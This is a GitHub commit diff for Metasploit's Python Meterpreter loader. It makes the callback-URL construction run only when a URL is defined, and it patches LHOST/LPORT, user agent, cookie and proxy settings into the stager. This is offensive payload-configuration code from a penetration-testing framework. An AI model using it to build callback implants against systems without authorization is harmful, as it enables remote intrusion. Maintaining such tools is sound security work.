Skip to content

Commit 37ab771

Browse files
committed
uri is not always defined, fix python stager generation
1 parent 2076db2 commit 37ab771

File tree

1 file changed

+24
-22
lines changed

1 file changed

+24
-22
lines changed

lib/msf/core/payload/python/meterpreter_loader.rb

Lines changed: 24 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -105,28 +105,30 @@ def stage_meterpreter(opts={})
105105
# The callback URL can be different to the one that we're receiving from the interface
106106
# so we need to generate it
107107
# TODO: move this to somewhere more common so that it can be used across payload types
108-
uri = "/#{(opts[:uri].to_s == '' ? opts[:url] : opts[:uri].to_s).split('/').reject(&:empty?)[-1]}"
109-
callback_url = [
110-
opts[:url].split(':')[0],
111-
'://',
112-
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
113-
':',
114-
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
115-
ds['LURI'].to_s,
116-
uri,
117-
'/'
118-
].join('')
119-
120-
# patch in the various payload related configuration
121-
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
122-
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
123-
met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
124-
met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
125-
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
126-
127-
if http_proxy_host.to_s != ''
128-
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
129-
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
108+
unless opts[:url].to_s == ''
109+
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
110+
callback_url = [
111+
opts[:url].to_s.split(':')[0],
112+
'://',
113+
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
114+
':',
115+
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
116+
ds['LURI'].to_s,
117+
uri,
118+
'/'
119+
].join('')
120+
121+
# patch in the various payload related configuration
122+
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
123+
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
124+
met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
125+
met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
126+
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
127+
128+
if http_proxy_host.to_s != ''
129+
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
130+
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
131+
end
130132
end
131133

132134
# patch in any optional stageless tcp socket setup

0 commit comments

Comments
 (0)